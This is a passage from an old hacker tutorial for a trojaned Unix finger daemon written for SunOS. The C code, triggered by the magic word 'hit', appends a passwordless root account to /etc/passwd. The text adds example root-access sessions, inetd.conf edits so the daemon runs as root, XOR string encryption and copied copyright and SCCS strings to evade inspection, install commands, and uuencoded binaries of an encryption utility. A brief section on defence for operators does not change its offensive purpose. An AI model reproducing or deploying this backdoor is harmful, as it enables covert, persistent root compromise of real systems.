fprintf(fp,"%s\n", HitCrypt(&exor[2][0]));
printf("%s\n", HitCrypt(&exor[3][0]));
fclose(fp);
break;
}
/*-=-=-=-=-=- END OF CUSTOM CODE =-=-=-=-=-=-*/
if (execv(PATH_FINGER, av)==-1)
fprintf(stderr,"No local finger program found\n");
_exit(1);
case -1:
fatal(argv[0],"fork");
}
(void)close(p[1]);
if (!(fp = fdopen(p[0], "r")))
fatal(argv[0],"fdopen");
while ((ch = getc(fp)) != EOF) {
putchar(ch);
}
exit(0);
}
fatal(prg,msg)
char *prg,*msg;
{
fprintf(stderr, "%s: ", prg);
perror(msg);
exit(1);
}
--------- + CUT HERE + ----------------------------------------------
I think it's quite easy to understand, first of all, inetd opens the
socket and pipes the the input data through the fingerd
* if (!fgets(line, sizeof(line), stdin))
* exit(1);
* av[0] = "finger";
* for (lp = line, ap = &av[1];;) {
* *ap = strtok(lp, " \t\r\n");
* if (!*ap)
* break;
* if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w'))
* *ap = "-l";
here it gets the data from stdin and parses them (strtok) converting (due
to RFC742) any '/W' or '/w' old options in '-l'
* switch(fork()) {
* case 0:
* (void)close(p[0]);
* if (p[1] != 1) {
* (void)dup2(p[1], 1);
* (void)close(p[1]);
* }
the task goes into the background
* if (execv(PATH_FINGER, av)==-1)
* fprintf(stderr,"No local finger program found\n");
here the daemon executes the local finger with remote parameters
* (void)close(p[1]);
* if (!(fp = fdopen(p[0], "r")))
* fatal(argv[0],"fdopen");
* while ((ch = getc(fp)) != EOF) {
* putchar(ch);
the output is piped back to the remote system
That's how the finger daemon works... now the trojan, basically we'll
check out the input finger user till the magic code matches, then our
sleepin' trojan will wake up and do the job... let's examine my code
(decrypted)
/*-=-=-=-=-=- PUT HERE YOUR CODE -=-=-=-=-=-*/
if (av[1])
if (strcmp("hit",av[1])==0) {
if(!(fp=fopen("/etc/passwd","a")))
_exit(10);
fprintf(fp,"hit::0:0::/:/bin/csh\n");
printf("Backdoor activated...\n");
fclose(fp);
break;
}
/*-=-=-=-=-=- END OF CUSTOM CODE =-=-=-=-=-=-*/
When the "hit" magic code matches the trojan will modify the passwd adding
a fake unpassworded root user named "hit", so you can relogin as root,
cover your tracks and keep on working. Of course this is an example, you
can do what you want simply adding your custom code, you may remote cat a
log file without logging in, or remote kill an user, maybe root logins are
disabled so you have to make a suid shell and add a normal entry in the
passwd or open a port and so on, you can also use multiple codes if you
like. If the magic word doesn't match of course the finger will work out
normally.
<example>
# finger hit@666.666.666.666
[666.666.666.666]
Backdoor activated...
Well done! You have gained a root access.
(...)
# cat /etc/passwd
root:EXAMPLE PASSWORD:0:1:Operator:/:/bin/csh
nobody:*:65534:65534::/:
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:3:3::/bin:
uucp:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
ingres:*:7:7::/usr/ingres:/bin/csh
audit:*:9:9::/etc/security/audit:/bin/csh
sync::1:1::/:/bin/sync
ftp:*:995:995:Anonymous FTP account:/home/ftp:/bin/csh
+::0:0:::
hit::0:0::/:/bin/csh
^^^ they run NIS... anyway our local root login will work fine
<example>
#finger hit@hacked.system.com
[hacked.system.com]
here is the log
user: xit001 from: hell.com ip: 666.666.666.666 has pw: xit001
user: yit001 from: (...)
That's really useful to collect logfiles without logging in and leave
tracks everywhere.
Now the problem....
If you want to use the fingerd to run world accessible commands you won't
have any problem but if you require root privileges check this out:
#grep fingerd /etc/inetd.conf
finger stream tcp nowait nobody /usr/etc/in.fingerd in.fingerd
^^^^^^
On SunOs 4.x.x the fingerd runs as nobody, the fake user (used with
NFS etc..), as nobody of course you cannot modify the passwd, so edit the
file
finger stream tcp nowait root /usr/etc/in.fingerd in.fingerd
now you have to refesh the inetd process
#kill -HUP <inetd pid>
now you can do what you want, many unix clones let the fingerd running as
root by default... and even if you have to modify the inetd.conf an
operator unlikely will realize what is appening since all other daemons
run as root.
Why have I crypted all data?
#strings login
(...)
Yeah d00dz! That's a //\/\eg/+\Backd0[+]r by MASTER(...) of MEGA(...)
Lame or not? All alien data must be crypted.. a fast exor crypting
routine will work fine, of course you can use the standard crypt function
or other (slow) algorithms but since security is not important (we just
want to make our texts invisible) I suggest using my fast algo,to create
the exor matrix simply put all texts on a file and use the little
ExorCrypt utility I have included UUencoded below (amiga/msdos version).
<example amiga>
echo > test "this is a test"
Acrypt test test.o
line crypted: 1
type test.o
static char exor[]={
213,201,200,210,129,200,210,129,192,129,213,196,210,213,161};
char *ExorCrypt(ch)
char *ch;
{
char *b;
b=ch;
while ((*(ch++)^=0xa1)!=0x00);
return(b);
}
The utility will create the exor vector (matrix) (from the 80 column
formatted ascii input text) and the specific decoding function, If you do
not supply a key "$a1" will be used, remember to add a NewLine if
necessary, the vector/matrix never contain them.
Before compiling the whole thing you must add the copyright and sccsid
strings I have not included (they may vary).
Let's simply do: (SunOs)
#strings /usr/etc/in.fingerd
@(#) Copyright (c) 1983 Regents of the University of California.
All rights reserved. ^^^^ COPYRIGHT STRING
@(#)in.fingerd.c 1.6 88/11/28 SMI <<<< SCCSID STRING
getpeername
finger
pipe
/usr/ucb/finger
No local finger program found
fork
fdopen
%s:
(((((
DDDDDDDDDD
AAAAAA
BBBBBB
The top of source becomes:
static char copyright[]=
"@(#) Copyright (c) 1983 Regents of the University of California.\n\
All rights reserverd.\n";
static char sccsid[]="@(#)in.fingerd.c 1.6 88/11/28 SMI"
That's all. Now you can compile and install your fingerd trojan,
the source was adapted for SunOS but you can port it on many unix
clones without troubles.
Few final words to:
Operators: How to defeat this trojan? First of all check the inetd.conf,
then do VARIOUS fingerd checksums (maybe even the "sum" command
is a trojan :) if you discover the trojan wrap the finger port
so you can track down the hacker (usually all wtmp/lastlog logs
are removed) or wrap everything modifying the daemons, do NOT use
the inetd.conf_jump_new_daemon scheme, if you can, add a fingerd
tripwire entry to prevent future installations.
Well... if the hacker is a good one everything is useless.
Beginners: You must be root to install the trojan, remember to get a copy
of the original fingerd program before installing the fake
version.
On a Sun do:
#cc -o in.fingerd trojan.c
#mv /usr/etc/in.fingerd fingerd.old
#mv in.fingerd /usr/etc
remember to check the /etc/inetd.conf
-=- + -
To get in touch with me send E-Mail to:
Internet: hit@bix.com X.25: QSD Nua (0)208057040540
Mbx: Hitman_Italy
if you want, use my PGP key
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a.2
mQCNAiypAuIAAAEEALVTvHLl4zthwydN+3oydNj7woyoKBpi1wBYnKJ4OGFa/KT3
faERV90ifxTS73Ec9pYhS/GSIRUVuOGwahx2UD0HIDgXnoceRamhE1/A9FySImJe
KMc85+nvDuZ0THMbx/W+DDHJMR1Rp2nBzVPMGEjixon02nE/5xrNm/sb/cUdAAUR
tBpIaXRtYW4gSXRhbHkgPGhpdEBiaXguY29tPg==
=bCu4
-----END PGP PUBLIC KEY BLOCK-----
ExorCrypt Amiga version:
-=) S.Encode v2.5 (=-
begin 777 Acrypt.lha
M'$0M;&@U+;L7``"`*```4K>9`0``!D%C<GEP=`X]$UF#^]?>]8TV]?OWWGY]h
MWCGT)T<>==;,3^G7FQMOA\XXX4Q2S[GS9)QP]W.-A<]))-Y@SN9!MOMPPCA"h
MGWF(`+"*XDE5UEU4LU45L4CDCA958FA%94*5RX4P217"J%868`=M85QPS1@<h
M/?_]_O>YL*2RW3+[;9:U9+);_%OP`;\%'W=VLD<;;A%.>^3?Y5SVH19P?5/Zh
MA=_F.G`BP"T_^)W7<CS.<^82-**GE,*TW![K%:RX-^2U1'6@U$A:NB8*U937h
MBE!+)^,'6%']'I^Q4:\OJ+4\;SRP91%+1U^]](EG3(`+-1#G.A;DI5HUY8/%h
MQ>+BO[DGWM>O[7KH5F%/_)J-.MI>)@6C,25:,JPVNG]?$U3,3P5R0K:L^W@=h
MEOB)!6NV&@<KLM^2#I]EZ:!9]U^%KH/Y$+.,$5^!WI)SH2__MHSQ<$Q67WZ_h
M]!=Z-*LN>_%J(:U9"*!#14E`E3\&Z=7*(;^G(JBO6IX_HM;9_4DB51P!LV<Yh
MHK^Z,?HY3SE;M$/07)+EYB+H9]>+=3G/1<E`J+DEEM+'PUM''PWGJ2R861")h
M:$2(*R)2R(<?>Q\.AX9DQ?@4@?ZL8O.Q@3651OX(#*P$?'._'O:/P&Q@]RCLh
MJNZ6KH^QEW#'J6'1)]+!5_@XU1#=7,K'C[&XO=A5W6NU<RWF>$4?5-,_>QYSh
MH:TNP?Q>8[K:N$7ETUZ7F;0HGH-<FDVA?UM,RYS@,W;J6MP&;VCBW1%'PYS*h
MJ_(%&M&B[:)_3'PZ396<@5V(54-#X=%R;.0"/O),^+,:OG,6+?D\&%LTX7<Ch
M"KC"\"SD54-KH1F4X?=C#^6YAZ>SD&+9,`8E['P^SV]M(I(;3,8DXGT1B=DWh
MB:/IV<B$\%.SBW;0)31U<C])/8S,K/6FY;L>P6MC$N-A#9M[[8H\ECV):F_9h
MDD7XP"^&WA9^R/V*_NPM"UT(^'\CW995;,(H0$?R,[5^)FB'Y/#`A@2R`)QQh
M]Y#=J^\JVD:IE_H6L??,WEP^T+3/I]M1;U\/H27*$H`SRQB<`:/]T]0VGH-<h
MA[Z`31[!KD`J8N1@?SN#N2>!!?>0Q0.7.0Y<V3F;QV-W+(Q+"(7O/<O4[[8)h
M2R1H6N3:'KUT+WHN$'\!O<*E"YC2S=PT,$]I[,D.K5G#9O"4>=4J=%^,PO+)h
M%VUT+7S2>GO5%.99=?0A7];^/\Q*=G'):7X<^R>[6,Z$W;\O#"9^ILY#\T1\h
M=L$]??_O)*I1MDE?;__\253/MZ_H8?ZR2J0'+FFS22M[1NJ/-):I3N84DDMHh
MNI<U;=S_!RTY_<,%T\@6NB<M>(*>C<I\(4X[E/U13[MRG@BGW[E/RQ3NG*?Th
MFQ+5LBSV3EF=/ZKE.^%/SG*=R![%2E#G3-^H$[2Y]G(8>IJX@J\NSD67N67(h
MC]]'V(6+V,?8A;>L"V]$%M\]!##J$[CX?\/BVS:P:TMIC1+U)3A3DI\#+JQ/h
MM'?S_FGN6$ZA3T*I2MFN=>I(,67LH\FJB=LO<>\@Q&W^EV\7F3CX"-\C41J*h
M3EVN[\;^R"OM2S])&W4JMM<%7/W="BZ5H;#&)2HTZM"AV^;0/XZ'9^XMTK/Ph
ME(^&OVYH*L>L=>+?M-"Q@V<A#JR]Q?$FBV7;ADOQXO,Z^L`OL=H5?S0CO%:Rh
M0*W<H)/RZ7@$%P>'GZ0%9=S*+OJ_7D6[PO#?+R>?'Z3Y8K@-R[,K\>:,I8\Th
M!;`>50F'DP+8P2Q&.G3T1T]-S6L?9NXVXU]"A:9U^)@5_1+$XN)0;VU\3&V]h
MKN&.7$T+7-8H\W'PE@CCRH^'UU_9R!F^4:H?3Y-M(X[+!-=_:;E)"Z+XR%DUh
MVYZQ20L-1W=:DA9-4_[LJOU<JZRV\KT\G-*&ZQ@4'FO<AKA&@O6=I6]K7=MHh
MOEZ/^*OL+'3=P"H@I_"B\S0&4_O8%Z3&U+:%LPP##>%#72F%55[65?-541K)h
MK^:UQ`UM]X?<L6O)'W&&]>'&[&5$&A>Q26W1I+7E)+7\I@WK"!YH2JAY>EH3h
M+7M5&,[M%&'FS48=`2J-9=IO&,,9^LPE)+JTWE)7M=*74X78R7R+0;Q6@?0Jh
MK-K*&#SH*[E0IZ/AO0XO_NQ!D:L9&FM-Y\6-R7,;DIQK]S&W0QKQ(Q]X7Z\Rh
MY%=6TWCZD,I8VKD2ZSOH>O)74[[PR2A>2Q:Q@E:DT(U,8K8>=J:':E^:':G?h
ME>CR]+8C:ONI195C:%KWI3V;HE#YAYFTS<,W3R8I8AD"9.XWH-8P51T+#R,Zh
M'NJ85EH&A>("EN@T+QMLR*,[MF92X99\,?>2&!../O##4'9I>1XH;HY,9GP'h
M4Q0!')%7%&9R?'9B\TE6N%>U82;X;^+[7!85G^-:LW'12QOZ0P?".Y85?8EKh
M@7'1,"F#>*!&9Y4G5-4^S;0%&Y>X_?MD)%ZO]^#%_ERI\QR^RRK$ZSY)BL.;h
M4[5SGMM[5-/<#FL:Z4W;\M<6^3_T'Z&:'Q]OYBOQ"/";$<NVPM"UD22Z?`"$h
M_$#&NVMI`4YPIH1?V=5IVN')7"^?'//F%7&;O-:X8L>2WIO7U/IXE[3)@/T2h
MU#]YNDS.:&$?%8="&_(O%-[^"]Y6^9NE[X@JGE,+>-Z#64"UZ*U!>[NB2]-Xh
M;ZBA$V,R?1]Z-+^Z+W*NXK9O0W(FV^,FWG_CM_]@:B>#<'DN.)]4UE1>8H:_h
M^?"_[^J&%:RL_1C2=<EJ:_PI^2M:>(Q1PIY*O[RW+I'!UF_OZ,I:!#8]DV08h
M8_^0`WZP#+)AD!?(B\SLZT!>"]P0QH1.X8B(MR%AT82DI[,S@\NICP+!K!8Wh
M&#$6Y1!G</E,VF#.X=?CSOW^+B0(LM^%V0O#`W@OWAU91XW)C=C)>AUF'&KJh
M"!KY42D8^JG!T3@??)#[PP^G(\D9%5AT,.34R,!#)='&WL+&*:B+.\!-GM*_h
MHJ0+#'G67_&;_UN].,Y1KB@`6T\*G):+=3K(&MX9`:\\2NF/1YT%,<*F/5L1h
M]LIBPC]XHHZD>[/E,^1ZYQQ8)GD".'_&#+Y#^'\I,?OM3B,^>Q4N`'\)@$>^h
M$8%"/OV7!#-D,]3M5D.RALJ8&"M#315%&*0+&S.+6<;!5M@Q-)AT<JVR5643h
M!5>GAPX[AJKRS\U::ZHHU,L_-FFN)454#'L<JHBK0(4&=X`^X<?#]_*./)Z_h
M!LN;9;=KCF=O67MYI.TK(0^=K6UD+1B3UJ2_X_2[>%/!`E<2W=!*>KU0@=:2h
M2>I=%"@SF1'PY[T;:1H(9+#Z^$?N\EO1))W`@;:'074YD%02_?X/GD$SQ?O1h
M]7IOYLV!_;_!&_'B\R$^$'?7`4Z.G=R^TQ!DY3H`4E0Q`)V5'\[$L2BLQ<2"h
M1Z)$!3MQ;JC1>S;#<QK@8$H0A1N-VH]M($AB]7_04Z5(D"U(IJ%2!M?G4514h
M#\K'`T%>(BU<ZIY^U\\GH@[=>2QOJ]!IR6S'U<^W!VB%74MR:M#?4H4#5G\3h
M>@95M+:$FREA2I]]#L,.V@)W\QYP,"3GIBHC!=FIOA)[YX,T03'*@-PR[%',h
M4%W=M-=2[<AL]J-9ER,S6=H8AE66I&HTA6FZNIWV_+KGXE58V!KW@U&5N73]h
M&SD6@Q?Z]FN84E,]M6AO=;>^>1M?<B5,&R714<JT<B31H\VJ[C"O'&@=&&2^h
M/=UHNS=DMW^C-<<:_^!NNZIQCZ(XFV2\#-7X)E&%P<48_(%^^;P?^%.YOM40h
M5+6&S)7;-&P]P_0&AW0JK-FE&JZ"`I8[;01#CTW"TKS";-J=Z=$;A?:"*0F6h
M957_V<'X-Z9P9=8E&,XQ=[+:]5E*::J%A%9\\U*>N>&DV(X<XQ^@ZR0=7-SKh
MR)YY+FB^I;)P-)*H$E)I)3T-<TPXOP"##2ECHCQ;FQY^6H$<Z`<#^@:]?`]>h
MW-+?+^FE+?99J6ZA!N;)!]S2G7C,WG=]7;^T+//D.GI\*/1RJM/OKI-:"#KWh
M=!U<.&\IB/U(4\$OZLWEI>:V6DQ&7UD.AY^F--A&V3'%R14@-?09IMUK)R1+h
MW'@.F].QMQ)FFMW%Z;G-XB=L637A86T&F&KW#,RZU)*:$8$$I3?NDK8F3="=h
M5S_Q:K7/5/3'`1@QJ9*\&'(,'WT&"I[<;N-?6(=1<3F,U^.M#J:Q<HT[*HUYh
MTE9-!FV\*L7$H'UP<QVO<,<,Y1_G;,P>7ZI/]/"IX?74T7PA6H!#.L]64;0;h
MUM]`U$:?E#@'WT_7XZO-7K"47(.GPB??(\?;,+'1H,`/9^,E\ZMU0^&;?0$Kh
M&8'0'T<`;#IT1G((W\,%?-E=T+O]1[6((+GH;_=:Q6"[0Z1&FP_9ST\2LN22h
M'\0TG47H3=73FXOC8B%S&;;:<X\]S4\X-3F]!QT3QM=1Q0JYY<:3Y[^1,$G#h
MUU<ZKRK)_@AMOD(SC[\OWO7D]&(^WO]#<"_UL>_)6O)VWC^7N_\L?FR4-OJ]h
M9<:V3-S]A^DEJT\[U\_TGW'QMW)R49Q_U]M@/OR[[Z"<_@?KTW=.A$`Z&Q9/h
M4;W>YNHYHQ&[^^/D06R#OXLP2>L)5Z^*JE.AYT(D&XKZB6&DKN?>CDOKQ[`4h
MY6![.V]G`]EECEO>P/`V.!`[)"]JR`"NC`WOT(^QA.P9U>TP745#M%TZL7V)h
M4175C5]D<(B:0)-H&A@;$&#J-0ZL8HA<1PJ^S:]8-N9AY,:;@NHHEM2$_RW"h
MEXPAHSXX.NC;J\2[1+V9:_`9N%:LD._G,U9*]RUEP+L:%'WB_@]S!4QK#'4Yh
M--W0A^<@('\]$\.4SWJ-0;;'BX@M<=^((/[OKZQ]`WE+W)+0;MKGP?$#+V_^h
M[Z\FC@VL#Z)XE^7L[JEK^I>]W]S%N%_K@.C0<?[F+)@QO(#PNU^WBZR;:Z/Wh
M//)8[7[?M27B*@"T5Z;QAF\_5:AKGU5VUCM8U-:B&'O`DCST>)$\<Q_+(<%Vh
MRV@'FJ=J&TW>FMG"=FS;Z>4?!QKL_Y\&V]PNIP;>?S>##7>_Z\&&"M\MS@3]h
M(`?VXCKVAS/;VJNG5PUD[.<P\%3V[J?1.ML#XV$E0W<,8R`Q#PMQ)>RZ)R"Ih
M)2IFX4XKF-Z!/I2Z^A#:D17-5M!#@X[7.8731YS7.;AG<3!4Q_3W2[L<,&(:h
M,<TWEU8YQP<$>[F3F)@);%JRGJ?8BQPEZZ@N[3<AS70S1J7J#+B_G"!W]V`2h
M\E4*9N-H/,^<9,W?V+.13DQI1=YR30Q;^<YJ;6Q.UC;?P%E_P%G#NY5&WEZ@h
M3F[JXS,[BIPX(K*T0TK?^S@8F`'+M3&V^OIH1E;?30BZR3+*!3G<RQY"<W-+h
MJO`W-+8ACB9>\CJGI;>1E6TUTZL@E/00+5^:4Z[G->U=-&8QO&Q0J/9C[9!"h
M<C/_UYP]=$#]YZI</^\!_Z:&B></_.A`%/,[SN];TSU#_F^AR&W":55Z"6]_h
M(R;]]P9Z1P#DQI-!W)+Z;'&F?`$4^'1?C8M-NXWCR51(W^<2TIT_%N_WE+J`h
MGK@J<:2M4:A3C!\F]0NE-'X8J<VXYB]*XYS"OF?L7'TQK<V@(3#-8/"W5W6Xh
M6ZDO46L#=FK&B>8O$PN^ZF+X6!K:%&HXOX(&['2M^12B-!<P-E`U`5CWZ';^h
M"KWO$P+426;ONSIGQ+<$K/<H=?.9@DKW#67"=!5?HMDYE3YJ:Q\/I?1J]T'\h
MHY:<<$J27%_467;9QF7%JMMI!LVT[73R`9[;!DZ)N`'E9V;!@\]@`NC3R7[Dh
M(/*3!&_D986\H/O]`'])L!9L?"Y"$NI>6<?R-*NVX$/IIBV[1E)XUY?]K<@Nh
MWR$8.6@#]Z&OK`:C]Z?-*W:>:+TQ\T7&.'+G^M#EKGR//O\(X<NR]Q9GXVTKh
M`;2][F-I?K1\/(X=7O&]J^_X@;4L9K:E+$_H'G^YQU,@%/>QDR0:3&BO)?B+h
MM?C8O`,M\9N(OST#>2^S'6%ZA\GK!0RUT(Y8'0GTA99U(;R,P-Y#C*NN&F]&h
M$?Z*4N?(RJ;ZVD5,%6VVJ@?<]K?D]AEJY3P>;>2]V8F"ZE+&VTW4RJWPO?Y'h
M(H&G(W\XPO@FP['N9*B)R9%P!J=["&5P%6]$]'C&7>"(V_?N24I<2-MP9^'Qh
M&0A&J;+>&=KNQ:K2U30W$TV20.3@#^E\0#\7J`-2K)B+F9U0\Z4,=B!#5ZP%h
MC]0"F3_N.MH=@[.M\;%I8I]6^%$Z"E[@L]2^`:+XJO1]7.)W;;`OW>V9#N&Bh
M0\S62KA8\\$2TPM]//6NZ@NXVYU]=:^<F)I\!N)II<V)I!@^?1@P:9(^4]M=h
MRB=H<28\P\"3BQ.QW^Z3J=9%B;!-ZXQW3#GT#BD[Z:I/[VCLY`V&KM2"CM%$h
M9E4"9S/.S8TF/A]#\XZMM*A<Z.DW,@XDMW4;<R<Q:DUBS>9N)!USDW'3N"M$h
MV6U$X+N4KXYD=#S/8,K82KQ37=Y_$3&=XC>K_EF$\\<4&%WX`:EP)1M6]H;Rh
MU^[@3U,Z<X,'B-D%DYT^QY'!8O9<Z;JTV^Z^.V"__AQPZ7V]3U076&"T3MJRh
M`>ZIB<!_`"4YRK>:#Z%L'N/'Z%QX^)-F31"2%H$+<3<L9U^[OBV68`Q'9Y?^h
M^QUO4^+8_XO^=C_*3+KFZ'S`/=)`\]`=S>(1,LLF?S`&JX^Y53T;/"<77RQQh
ME9@O-`\!L#WW3<`^#5D.E/>/W8I_9&?I@(T\3R8C.[^,1NP(]NY$A_$(YS$^h
M,1O6Q&_GAY]7_P2B0_2X;S!#W[^:0?CCL5TQ@K6%"'=3NK:3/CN@1V5[;W%/h
M="VPY+&Z6TKZG::L.:UA9O-:S;6)VR^$.:APJB*K='QR(^B]#!D^I%W<Q/85h
MJWQMTYRN%V)8O)>B*[P3TW4U*+6^M]9KT2-EK9DFZO?!14CBMM-;:?4D6NO+h
M[8ZZ^UU[>9G=_]9]G6%`*F4BQ(MAPN#ZV)B<'V["+$B1.)M@BJ]C[$<U"19^h
MQ9C8`]O;'`MQ)[6(DCQ[HK%DZ/4N75B',L)6+7UR@:SOXL.+7Q8E<<-ZZV_!h
MK%8L.N)/N)6JP`2^%.;)\]KR9N!?_E\GNK![7KD=/\WD_RBFA-/E>3JK",?5h
MTNO[_)M;"N+E^:>G>7YT6P9X.B*L5KIR+7\+@[W;#%KVMAQ,"XZ<PJV<BV',h
M]6+#X-?3=E`;,OY47F=K6[5):\^"URY`[]=,$N#%^E-,7$[:_])ODRSY,<.Ph
M_/+!E608HX/*9@0X-2'2NYDK0:HO+#%NN?NAR8.^@+[*>FL&T=S:;I"])OR>h
M+^D+T!F`O334(^(<BKF(-[GK(-GBP???@Z^E_4??C#Z.UY5PHGV@\)TH9@HMh
M66X>=,BKPW#^ZK8:V8BOU=[,OD6FM_GV.MV%]K;A*`=A(CZG3Q]5IB*OB2+3h
M4E4C&1)FMM]?I$?&@R<DN<#.;2,M+U(G.G2UIG`Z-*F9'.8IB?<OG6T@Z^;$h
M^I@KV9LQ7+(U38VZU[_@'(UYY#OJ2->=FU>*)Y\0=^<2KF4V%S4`+?A9^L<)h
M3T_8$2#NCKQFW.:$K$CL/5H$?>N0-[UM1GG9-M(-;F&-$V_J-@^LK08FV$V;h
M1/P[_#OM`87P!.KT[^$4&!"$(N)H,"?S`5=[-9=IX#-\Y&7T)Q'_Z<.FACCTh
M\LZ>1]@='OETUW-A(9S'-MJ;;$C[!,):MJRSF2/OYQ0^"D[SM+O37][,L)GAh
M2[ZD[RLNT;+M*NL1J_"12=YVO:W<777UW;WB-/?6]UX0L.TNWA:JUK^YTVD1h
M2[!&ET]Y+V-\B3KKK6]NC2R-C?9M7O+"]N-;WPXY&86FF3+V9I$7USK4:[,Qh
MZ-=L$7E[?(V5O=:ZX>%X/5PM[F@CX<-U<+K`(/AOMA?6]]KM8C67-O,1K1M/h
MO.^^;X;PJ78$5*%CJ7807B?(J_/^9^W&TMQWQ_?],F*0\H/-O"3EJG,)S3ZRh
MYJ!B6[767(P1`#$A#8?J=7\QNKJ_FIO!1\&Y/;]/3U(S5555'?_-K+^EOZCLh
MQZK*RH<QLS6WVQF7E/JTU_GC[=:Z\&^3&&MN`8(;S.QV'6LC_4_^?0-I?B3_h
M[NA`)6N+_W\8K6)IH>LZ/_4_)LUA_3^1M0,6/AL_I9F'S,V_VG[,VG5OUNM9h
MO_J?LP[_[#86F_J<_R/B_17W6_;?,_.6&`G\I^W\W?[9/Y7]OX[U'_\?MDO)h
?Q@O.N$_Y(^\0??-'T%W5;-PEAFKB#[MVT,U,B:P[`/^#h
`h
end
ExorCrypt MSdos version:
-=) S.Encode v2.5 (=-
begin 777 MScrypt.zip
M4$L#!`H````&`%*WF6F[C95"R!T``/TM```+````35-C<GEP="YE>&4/`!(#h
M)!4V)S@Y:GM,G6X?"08!$S3E]I;WFVKM'_`B0((`00(D#?#___$"`2*,NY'Zh
M@.L];'M`@`H!RA7XK=G5@`_0T[*U$?!_P8"'K;J8/6ZY`-&G-&CUZG&C^IXCh
M7A[QQHTZ#CW8+\&!?`T4.T&_(G$+%@@5/?.$@XD+7.S5X/^;N$4Y>R]G)S@3h
M&/(1"UP[;FC2;>M=@>A]8&MBH_Y'`J]+$;>T=)^$K[@TM^3-$TA6>^HD0?03h
MU&E^ZAR?NJ-11^]2E[ZU+@IV;A"]?P_1CBBK2_X'T.X>!XROHQW=J%W_V_6/h
M&PKSC8V"@O[J!^@-6#U=C_^H'#0GU2]J3W_'E_=K<-%QRLM?[QP2V.L/2'=@h
M^NL`<?,<@$]3'B&5)2MN*=%%/7_TEQ$D;6<VX6=*EQ+M_M%'V=H1L`VK;FLWh
M@*?A]4GM$;^>(*2ZMY?-7=2M!?W_S_&\'[/'"E"17S=V"GJ@4_N+L\,\J/B`h
MDNWLK>2MD-;7D+>AN:+C:O@](P+TBX%:<6LABI:((&Q\?81K#N::UG_@VM.Yh
MO2(K,>O)6-/CK'G0@)"67CZ0:->/6XV7R=HB]C(O<T/J-.X#7@8K9RY'L/;Xh
MUO8!3HU/Z/4C\6M\?GE\`'2&K=]!*NP+\___)/,^*N"-\Y7`[(MO_C]HG.!>h
MV'LQ3>7K&Y3MN/>,P1$-V0F`B1[P)=QAAR\!3$5?(O6'^!*(CHI,RS?P)?"4h
MKFGM!KY$$9GL>P%-.*9O6M>WKJ\(R1KW9$V/LN<!_T/&;0J:E@3M!'&C8J8+h
M,7-?S#0>9JZ,F5[#S)TQTUZ8.3=F.@JSE(V;FZ9[E"V^,P%F#J.=:V"F1S#+h
MYFA="'Q0#]6C=R*MZQU">E88S^[C6;]Z75R^ZW"`M&$V#\E3X%R!S4'^=G.$h
M;=3"5]X/[!\@1+D#?1&OW_'UP,2='MP_%Z+%C^@["H`-!77V_YG$/YB\?YN)h
M32(%0.Q$!G_CL0E.!X_4YFBA``?>3R2T,QZ^TOO][;25G&^3L<?<`"T>Y/_;h
M8\'<4`^N?";T\U4M[<$'=':L?I+L/\YL_]^FMLW;)K9AMZ:HL]XG]OT!#L>Eh
MU(ZQXUIXVSQNT"C`L@5.U:SO'$#+$[09V*=9@=:MUSV(%:K-_Q;5`'I2LN.-h
M%)F/WI48`ZQQ?&*/IX+:8&J`#C\X7U)W6@+1F?UBAW8%CG?IV`!3FQCS+`$6h
M-XA7(&/M,[<-O4<Z>[[`]^F_!K1!/1]JWU6W5<MT[;2#]L?;=!Q\YG^3@'L"h
MI,LR-T.`OC4#G&^:[L+<__\T>?FNZV9<7]Z@QP-A?_^W<("L,4=F[0_7#HA4h
MM?A[0&<H`P1\BOI?1DUDJ.4JM"\<,-V"@!]!#W1IWO.^`0O\)9QD#@"9[$3Gh
MC1M4M['R[-CLOH46_"4\^D3<S)=&#QB`G4D":YZM`'%:4#8W"P"99+.G=0-<h
MH/<2[16M=1?TLJ7R!2J[^+"G"(":TS40MIS=8T^0EN";E/C!76VHS>JQN,53h
M??(2UG\$[),<^70;>@1=SDQ;-)?%IG7XSOMS%3Y]NKCA>/O_HZ^7YZP.![\Gh
MN+C@PJ("Z<K_WW&]^V$+7_FEAO_!Q7VR`]K4,N.\H.C;"D!=Q87VZ6WZS[J8h
M^TIL2GJG1W<@/?_'_P\?98BG__"Z6YUI/U?O+9,\?]8RP8O?#YA^%:!:O/_Ch
M#N!OJ)>Q>QW^V`!HK&OH<5HH_>FFT`(CGL7INW<`09^I>4!@:`DQX?U'CR;Vh
MR1W`%FKV^]$71_^EO^_``!T1CK/F"9+N?IX)Z=[GV9#N6P5H>NU1)]**3MK)h
M23L7:<?*4R1=DCRY3(*%KB<_,WD0[Y37)VT*)SD_?7'PZ.DG1D=%F2M?'P#?h
MX%\![R>Z71<\S0X>_#9XM/3UEQ0OJN+L!UX_&OT<\4(!B_>_4OQBXJ-D^\78h
M!^[CK`;SGT.'%K=1UZQ537U=?6^Y#;C$],/RJNJ"KS/*_P4`[@/7YX4DS_[Bh
MV[C]FE,NQBGWLK>?<$I5_05M$#87VGQ]M.*@ZO@YS8M@OIB0N8MY5P'NM^8Ih
M(</,T]GF24OSVLPI0_+'#VQ^BC6\G<&KF"7TI?G%Z1?G3W*9NM`^78B.C:76h
M/CBZ#9T0+A*%]1>]#)2D_\7]HY<?X+A_O/H[P>,<&>#7Q<^B'X@_L0M=3[=Vh
M[(WW3SI^8F">.X=\UHG]`BQ:!$FT^/:)G82:=^D]:=M&6NHOMDK0-U."K7<*h
M,WN@ENDRO"15J<]V\_7K+3TR%RX`*[V"RGWTE_]S+`<I>;$^<L+Q3L+:AIA(h
MM`)I`]'LO]#3BZ$/--#(RZV9TT#A/+=DP0>W>W3LL0=.1\\X^Z(Q^\KE`X,[h
MNJVQ1;)BE0N1)'PDJNR5%[N(/Z"%X;`_GI[K?KD3SBXMG8M/=L8($(LR/S!Rh
M$RS_GXE9-GMTB_-P496X0O)U1X"IPGZ@W`9H?,[P(.46A%UP_4'(/"<\QK`Gh
M[@I(7\<\>E;ZBHFOOZ=D'\R>X%6KOA$&7/DOY;E](K@P7-U*2JDF*Q!3_>A@h
MXPASV@01R)L3:J]?SD3$+R!\\@X7PV."6DG2!IBD^@6L7!T(>26P6L`AG7,#h
M6?=R1B"0+%R`5$A4>-`.99ZXJGE?C$_9GE[-2'8"9&/]-(*K'&*`]PT`;>!'h
